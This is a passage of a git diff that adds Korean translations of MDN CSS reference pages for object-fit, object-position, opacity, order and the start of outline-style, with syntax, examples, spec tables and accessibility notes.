+ <td>{{SpecName('CSS3 Values', '#numbers', '&lt;number&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'syndata.html#numbers', '&lt;number&gt;')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Explicit definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '', '&lt;number&gt;')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Implicit definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<p>{{Compat("css.types.number")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;integer&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/object-fit/index.html b/files/ko/web/css/object-fit/index.html
new file mode 100644
index 0000000000..3c44025c12
--- /dev/null
+++ b/files/ko/web/css/object-fit/index.html
@@ -0,0 +1,170 @@
+---
+title: object-fit
+slug: Web/CSS/object-fit
+tags:
+ - CSS
+ - CSS Images
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/object-fit
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>object-fit</code></strong> 속성은 {{HTMLElement("img")}}나 {{HTMLElement("video")}} 요소와 같은 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>의 콘텐츠 크기를 어떤 방식으로 조절해 요소에 맞출 것인지 지정합니다.</p>
+
+<p>{{cssxref("object-position")}} 속성을 사용해 대체 요소 콘텐츠가 콘텐츠 박스 내에 위치할 지점을 바꿀 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-fit.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>object-fit</code> 속성은 다음 목록 중 하나의 키워드를 사용해 지정합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>contain</code></dt>
+ <dd>대체 콘텐츠의 가로세로비를 유지하면서, 요소의 콘텐츠 박스 내부에 들어가도록 크기를 맞춤 조절합니다. 콘텐츠가 콘텐츠 박스 크기에 맞도록 하면서도 가로세로비를 유지하게 되므로, 서로의 가로세로비가 일치하지 않으면 객체가 <a href="https://ko.wikipedia.org/wiki/%EB%A0%88%ED%84%B0%EB%B0%95%EC%8A%A4">"레터박스"</a>처럼 됩니다.</dd>
+ <dt><code>cover</code></dt>
+ <dd>대체 콘텐츠의 가로세로비를 유지하면서, 요소 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 객체 일부가 잘려나갑니다.</dd>
+ <dt><code>fill</code></dt>
+ <dd>요소 콘텐츠 박스 크기에 맞춰 대체 콘텐츠의 크기를 조절합니다. 콘텐츠가 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 콘텐츠가 늘어납니다.</dd>
+ <dt><code>none</code></dt>
+ <dd>대체 콘텐츠의 크기를 조절하지 않습니다.</dd>
+ <dt><code>scale-down</code></dt>
+ <dd><code>none</code>과 <code>contain</code> 중 대체 콘텐츠의 크기가 더 작아지는 값을 선택합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이미지에_object-fit_지정">이미지에 <code>object-fit</code> 지정</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+ &lt;h2&gt;object-fit: fill&lt;/h2&gt;
+ &lt;img class="fill" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;img class="fill narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;h2&gt;object-fit: contain&lt;/h2&gt;
+ &lt;img class="contain" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;img class="contain narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;h2&gt;object-fit: cover&lt;/h2&gt;
+ &lt;img class="cover" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;img class="cover narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;h2&gt;object-fit: none&lt;/h2&gt;
+ &lt;img class="none" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;img class="none narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;h2&gt;object-fit: scale-down&lt;/h2&gt;
+ &lt;img class="scale-down" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+
+ &lt;img class="scale-down narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo"&gt;
+&lt;/section&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">h2 {
+ font-family: Courier New, monospace;
+ font-size: 1em;
+ margin: 1em 0 0.3em;
+}
+
+div {
+ display: flex;
+ flex-direction: column;
+ flex-wrap: wrap;
+ align-items: flex-start;
+ height: 940px;
+}
+
+img {
+ width: 150px;
+ height: 100px;
+ border: 1px solid #000;
+}
+
+.narrow {
+ width: 100px;
+ height: 150px;
+ margin-top: 10px;
+}
+
+.fill {
+ object-fit: fill;
+}
+
+.contain {
+ object-fit: contain;
+}
+
+.cover {
+ object-fit: cover;
+}
+
+.none {
+ object-fit: none;
+}
+
+.scale-down {
+ object-fit: scale-down;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('이미지에_object-fit_지정', 500, 1100) }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}</td>
+ <td>{{Spec2('CSS4 Images')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}</td>
+ <td>{{Spec2('CSS3 Images')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.object-fit")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>이미지 관련 다른 CSS 속성: {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+ <li>{{cssxref("background-size")}}</li>
+</ul>
diff --git a/files/ko/web/css/object-position/index.html b/files/ko/web/css/object-position/index.html
new file mode 100644
index 0000000000..a53f4e988b
--- /dev/null
+++ b/files/ko/web/css/object-position/index.html
@@ -0,0 +1,123 @@
+---
+title: object-position
+slug: Web/CSS/object-position
+tags:
+ - CSS
+ - CSS Property
+ - Layout
+ - Reference
+ - Replaced Elements
+ - 대체 요소
+translation_of: Web/CSS/object-position
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>object-position</code></strong> 속성은 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>의 콘텐츠 정렬 방식을 지정합니다.</span> 대체 요소의 객체가 덮지 않은 부분은 요소의 배경이 보이게 됩니다.</p>
+
+<p>대체 요소 객체의 고유 크기(수정을 가하지 않은 원래 크기)를 조정해 요소 박스에 맞추는 방법은 {{cssxref("object-fit")}} 속성으로 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-position.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* &lt;position&gt; 값 */
+object-position: center top;
+object-position: 100px 50px;
+
+/* 전역 값 */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;position&gt;")}}</dt>
+ <dd>객체의 2D 위치를 지정하는 한 개에서 네 개의 값. 상대와 절대 오프셋을 사용할 수 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> 콘텐츠가 대체 요소의 박스 바깥으로 나가도록 지정할 수도 있습니다.</p>
+</div>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="이미지_콘텐츠_위치_지정">이미지 콘텐츠 위치 지정</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<p>두 개의 {{htmlelement("img")}} 요소가 MDN 로고를 가리키는 코드입니다.</p>
+
+<pre class="brush: html notranslate">&lt;img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+&lt;img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>다음 CSS는 두 <code>&lt;img&gt;</code> 요소 모두에 적용할 스타일과 함께, 각각 별도로 적용할 <code>object-position</code> 속성도 지정하고 있습니다.</p>
+
+<pre class="brush: css notranslate">img {
+ width: 300px;
+ height: 250px;
+ border: 1px solid black;
+ background-color: silver;
+ margin-right: 1em;
+ object-fit: none;
+}
+
+#object-position-1 {
+ object-position: 10px;
+}
+
+#object-position-2 {
+ object-position: 100% 10%;
+}
+</pre>
+
+<p>첫 번째 이미지는 요소 박스의 왼쪽 경계로부터 10픽셀 떨어진 곳으로 배치됩니다. 두 번째 이미지는 요소 박스의 오른쪽 경계와 자신의 오른쪽 모서리를 서로 겹치고, 박스의 위쪽 경계로부터 박스 높이의 10% 떨어진 지점으로 배치됩니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('이미지_콘텐츠_위치_지정', '100%','600px') }}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}</td>
+ <td>{{Spec2('CSS3 Images')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.object-position")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>이미지 관련 다른 CSS 속성: {{cssxref("object-fit")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/ko/web/css/opacity/index.html b/files/ko/web/css/opacity/index.html
new file mode 100644
index 0000000000..6132b0380a
--- /dev/null
+++ b/files/ko/web/css/opacity/index.html
@@ -0,0 +1,144 @@
+---
+title: opacity
+slug: Web/CSS/opacity
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+ - 색
+translation_of: Web/CSS/opacity
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>opacity</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 불투명도를 설정합니다.</span> 불투명도는 요소 뒤쪽 콘텐츠가 숨겨지는 정도로, 투명도의 반대입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/opacity.html")}}</div>
+
+
+
+<p><code>opacity</code>는 요소의 내용을 포함해 모든 곳에 영향을 주지만 자식 요소가 상속하지는 않습니다. 따라서 요소와 자식의 투명도가 서로 다르더라도 배경에 대해서는 상대적으로 같은 투명도를 갖습니다.</p>
+
+<p><code>opacity</code> 값이 <code>1</code>이 아니면 요소를 새로운 <a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">쌓임 맥락</a>에 배치합니다.</p>
+
+<p>자식 요소는 불투명하게 유지하고 싶다면 {{cssxref("background")}} 속성을 대신 사용하세요.</p>
+
+<pre class="brush:css">background: rgba(0, 0, 0, 0.4);</pre>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;alpha-value&gt;</code></dt>
+ <dd>채널의 불투명도(알파 채널의 값)를 나타내는 <code>0.0</code> 이상 <code>1.0</code> 이하의 {{cssxref("number")}}, 또는 0% 이상 100% 이하의 {{cssxref("percentage")}}. 범위 밖의 숫자는 구문 상 유효하지만, 실제 적용 시에는 범위에 맞춰 나머지 값은 버려집니다.
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th>값</th>
+ <th>뜻</th>
+ </tr>
+ <tr>
+ <td><code>0</code></td>
+ <td>요소가 완전히 투명해 보이지 않음.</td>
+ </tr>
+ <tr>
+ <td><code>0</code>과 <code>1</code> 사이의 아무 <code>&lt;number&gt;</code></td>
+ <td>요소가 반투명해 뒤의 내용을 볼 수 있음.</td>
+ </tr>
+ <tr>
+ <td><code>1</code> (기본값)</td>
+ <td>요소가 불투명함.</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: css">div { background-color: yellow; }
+.light {
+ opacity: 0.2; /* 배경 위로 겨우 볼 수 있음 */
+}
+.medium {
+ opacity: 0.5; /* 배경 위로 조금 더 잘 보임 */
+}
+.heavy {
+ opacity: 0.9; /* 배경 위로 뚜렷하게 보임 */
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="light"&gt;겨우 보이는 글&lt;/div&gt;
+&lt;div class="medium"&gt;좀 더 잘 보이는 글&lt;/div&gt;
+&lt;div class="heavy"&gt;쉽게 보이는 글&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('기본_예제', '640', '64')}}</p>
+
+<h3 id="hover_시_다른_불투명도_적용"><code>:hover</code> 시 다른 불투명도 적용</h3>
+
+<pre class="brush: css">img.opacity {
+ opacity: 1;
+}
+
+img.opacity:hover {
+ opacity: 0.5;
+ filter: alpha(opacity=50);
+ zoom: 1;
+}</pre>
+
+<pre class="brush: html">&lt;img src="//developer.mozilla.org/static/img/opengraph-logo.png"
+ alt="MDN logo" width="128" height="146"
+ class="opacity"&gt;</pre>
+
+<p>{{EmbedLiveSample('hover_시_다른_불투명도_적용', '150', '175')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>글씨의 투명도를 조절했다면, 낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.</p>
+
+<p>색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 <a href="https://www.w3.org/WAI/standards-guidelines/wcag/">웹 콘텐츠 접근성 가이드라인</a>(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 <a href="/ko/docs/Web/CSS/font-weight">굵은</a> 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'opacity')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>opacity</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Colors', '#opacity', 'opacity')}}</td>
+ <td>{{Spec2('CSS3 Colors')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.opacity", 2)}}</p>
diff --git a/files/ko/web/css/order/index.html b/files/ko/web/css/order/index.html
new file mode 100644
index 0000000000..8b25e38777
--- /dev/null
+++ b/files/ko/web/css/order/index.html
@@ -0,0 +1,110 @@
+---
+title: order
+slug: Web/CSS/order
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/order
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>order</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 플렉스 또는 그리드 컨테이너 안에서 현재 요소의 배치 순서를 지정합니다.</span> 컨테이너 아이템의 정렬 순서는 오름차순 <code>order</code> 값이고, 같은 값일 경우 소스 코드의 순서대로 정렬됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/order.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;integer&gt; 값 */
+order: 5;
+order: -5;
+
+/* 전역 값 */
+order: inherit;
+order: initial;
+order: unset;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: <code>order</code> 속성은 논리적인 순서나 탭 순서와는 전혀 상관 없이 <strong>화면에 보이는 순서</strong>에만 영향을 줍니다. 따라서 비시각적 매체에 적용해선 안됩니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>아이템의 순서.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:html;">&lt;header&gt;...&lt;/header&gt;
+&lt;main&gt;
+ &lt;article&gt;Article&lt;/article&gt;
+ &lt;nav&gt;Nav&lt;/nav&gt;
+ &lt;aside&gt;Aside&lt;/aside&gt;
+&lt;/main&gt;
+&lt;footer&gt;...&lt;/footer&gt;</pre>
+
+<p>위와 같은 기본적인 HTML에서, 다음 CSS 코드는 콘텐츠 블록을 감싸는, 고전적인 양쪽 사이드바 레이아웃을 만듭니다. Flexible Box Layout 모듈이 자동으로 모든 블록의 높이를 동일하게 하며 가능한 가로축 공간을 모두 분배합니다.</p>
+
+<pre class="brush:css;">main { display: flex; text-align:center; }
+main &gt; article { flex:1; order: 2; }
+main &gt; nav { width: 200px; order: 1; }
+main &gt; aside { width: 200px; order: 3; }</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>order</code> 속성을 사용하면 실제 DOM 순서와 화면에 보여지는 콘텐츠의 순서가 서로 연결되지 않습니다. 이는 낮은 시각으로 스크린 리더 등 보조 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적 순서(CSS)가 중요하더라도 스크린 리더 사용자는 제대로 된 읽기 순서를 알 수 없습니다.</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Flexbox &amp; the keyboard navigation disconnect — Tink</a></li>
+ <li><a href="http://adrianroselli.com/2015/09/source-order-matters.html">Source Order Matters | Adrian Roselli</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html">Understanding Success Criterion 1.3.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}</td>
+ <td>{{Spec2('CSS3 Flexbox')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.order")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">플렉스박스의 기본 개념</a></em></li>
+ <li>CSS 플렉스박스 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">플렉스 아이템의 순서 정하기</a></em></li>
+ <li>CSS 그리드 안내서: <em><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS 그리드 레이아웃과 접근성</a></em></li>
+</ul>
diff --git a/files/ko/web/css/outline-style/index.html b/files/ko/web/css/outline-style/index.html
new file mode 100644
index 0000000000..cc483e5010
--- /dev/null
+++ b/files/ko/web/css/outline-style/index.html
@@ -0,0 +1,256 @@
+---
+title: outline-style
+slug: Web/CSS/outline-style
+tags:
+ - CSS
+ - CSS Outline
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/outline-style
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>outline-style</code></strong> 속성은 요소 외곽선의 스타일을 설정합니다.</span> 외곽선은 요소의 <a href="/ko/docs/Web/CSS/border">테두리</a> 바깥에 그려지는 선입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-style.html")}}</div>
+
+
+
+<p>외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+outline-style: auto;
+outline-style: none;
+outline-style: dotted;
+outline-style: dashed;
+outline-style: solid;
+outline-style: double;
+outline-style: groove;
+outline-style: ridge;
+outline-style: inset;
+outline-style: outset;
+
+/* 전역 값 */
+outline-style: inherit;
+outline-style: initial;
+outline-style: unset;
+</pre>
+
+<p><code>outline-style</code> 속성은 다음 값 중 하나를 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>
+ <p><code>auto</code></p>
+ </dt>
+ <dd style="outline: 8px auto red;">사용자 에이전트가 사용자 지정 외곽선을 그릴 수 있도록 허용합니다.</dd>
+ <dt>
+ <p><code>none</code></p>
+ </dt>
+ <dd>외곽선을 제거합니다. {{cssxref("outline-width")}}가 <code>0</code>입니다.</dd>
+ <dt>
+ <p><code>dotted</code></p>
+ </dt>
+ <dd style="outline: 8px dotted red;">외곽선을 점 여러 개로 그립니다.</dd>
+ <dt>
+ <p><code>dashed</code></p>
+ </dt>
+ <dd style="outline: 8px dashed red;">외곽선을 짧은 선 여러 개로 그립니다.</dd>
+ <dt>
+ <p><code>solid</code></p>
+ </dt>
+ <dd style="outline: 8px solid red;">외곽선을 하나의 선으로 그립니다.</dd>
+ <dt>
+ <p><code>double</code></p>
+ </dt>
+ <dd style="outline: 8px double red;">외곽선을 두 개의 선으로 그립니다. {{cssxref("outline-width")}}는 두 선과 그 사이의 간격을 합친 값입니다.</dd>
+ <dt>
+ <p><code>groove</code></p>
+ </dt>
+ <dd style="outline: 8px groove red;">외곽선을 마치 파낸 것처럼 그립니다.</dd>
+ <dt>
+ <p><code>ridge</code></p>
+ </dt>
+ <dd style="outline: 8px ridge red;"><code>groove</code>의 반대입니다. 외곽선을 마치 튀어나온 것처럼 그립니다.</dd>
+ <dt>
+ <p><code>inset</code></p>
+ </dt>
+ <dd style="outline: 8px inset red;">요소가 페이지 안에 박힌 것처럼 외곽선을 그립니다.</dd>
+ <dt>
+ <p><code>outset</code></p>
+ </dt>
+ <dd style="outline: 8px outset red;"><code>inset</code>의 반대입니다. 요소가 페이지 밖으로 나온 것처럼 그립니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="외곽선_스타일을_auto로_설정하기">외곽선 스타일을 <code>auto</code>로 설정하기</h3>
+
+<p><code>auto</code> 값은 사용자 지정 스타일을 의미합니다. <q cite="https://www.w3.org/TR/css-ui-3/#outline-style">일반적으로 플랫폼 기본 사용자 인터페이스 스타일이거나, CSS에서 나타낼 수 있는 것보다 더 풍부한 스타일 (예컨대 둥근 꼭짓점에 바깥쪽 픽셀은 반투명하여 빛나는 것처럼 보이는 외곽선)입니다.</q></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;p class="auto"&gt;Outline Demo&lt;/p&gt;
+&lt;/div&gt; </pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.auto {
+ outline-style: auto; /* same result as "outline: auto" */
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_auto로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_dashed_dotted로_설정하기">외곽선 스타일을 <code>dashed</code>, <code>dotted</code>로 설정하기</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;div class="dotted"&gt;
+ &lt;p class="dashed"&gt;Outline Demo&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.dotted {
+ outline-style: dotted; /* same result as "outline: dotted" */
+}
+.dashed {
+ outline-style: dashed;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_dashed_dotted로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_solid_double로_설정하기">외곽선 스타일을 <code>solid</code>, <code>double</code>로 설정하기</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;div class="solid"&gt;
+ &lt;p class="double"&gt;Outline Demo&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">.solid {
+ outline-style: solid;
+}
+.double {
+ outline-style: double;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_solid_double로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_groove_ridge로_설정하기">외곽선 스타일을 <code>groove</code>, <code>ridge</code>로 설정하기</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;div class="groove"&gt;
+ &lt;p class="ridge"&gt;Outline Demo&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css notranslate">.groove {
+ outline-style: groove;
+}
+.ridge {
+ outline-style: ridge;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }</pre>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{ EmbedLiveSample('외곽선_스타일을_groove_ridge로_설정하기') }}</p>
+
+<h3 id="외곽선_스타일을_inset_outset으로_설정하기">외곽선 스타일을 inset, outset으로 설정하기</h3>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+ &lt;div class="inset"&gt;
+ &lt;p class="outset"&gt;Outline Demo&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css notranslate">.inset {
+ outline-style: inset;
+}
+.outset {
+ outline-style: outset;
+}
+
